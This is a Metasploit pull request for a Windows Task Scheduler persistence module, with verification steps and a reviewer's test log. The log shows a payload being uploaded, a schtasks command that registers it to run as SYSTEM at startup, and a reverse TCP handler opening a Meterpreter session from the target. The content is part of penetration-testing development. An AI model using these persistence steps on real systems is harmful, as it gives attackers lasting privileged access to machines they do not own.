Windows task scheduler persistence

[h00die]

Creates a windows task scheduler persistence. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow
• use exploit/windows/persistence/task_scheduler
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if apt is run
• Verify cleanup works
• Document is updated and correct

[msutovsky-r7]

msf exploit(windows/persistence/task_scheduler) > run verbose=true 
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.3.7:4545 
msf exploit(windows/persistence/task_scheduler) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Payload (7168 bytes) uploaded on WIN10_1809_491E to C:\Users\ADMINI~1\AppData\Local\Temp\bTMpba.exe
[*] Creating task: RmHJpXd
[*] [Task Scheduler] executing command: schtasks /create /tn "RmHJpXd" /tr "C:\Users\ADMINI~1\AppData\Local\Temp\bTMpba.exe" /sc ONSTART /ru SYSTEM /f
[*] Starting task: RmHJpXd
[*] [Task Scheduler] executing command: schtasks /run /tn RmHJpXd
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (498061 bytes) to 10.5.134.151
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1809_491E_20251027.1023/WIN10_1809_491E_20251027.1023.rc
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/ext_server_stdapi.x86.dll is being used
[*] Meterpreter session 5 opened (192.168.3.7:4545 -> 10.5.134.151:50133) at 2025-10-27 12:10:32 +0100

msf exploit(windows/persistence/task_scheduler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                           Connection
  --  ----  ----                     -----------                           ----------
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN10_1809_491  192.168.3.7:4242 -> 10.5.134.151:5010
                                     E                                     9 (10.5.134.151)
  5         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ WIN10_1809_491  192.168.3.7:4545 -> 10.5.134.151:5013
                                     E                                     3 (10.5.134.151)

msf exploit(windows/persistence/task_scheduler) > sessions 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : WIN10_1809_491E
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

[msutovsky-r7]

Release Notes

This adds new persistence module for Windows - the task scheduler module. The module will create scheduled task depending on ScheduleType option.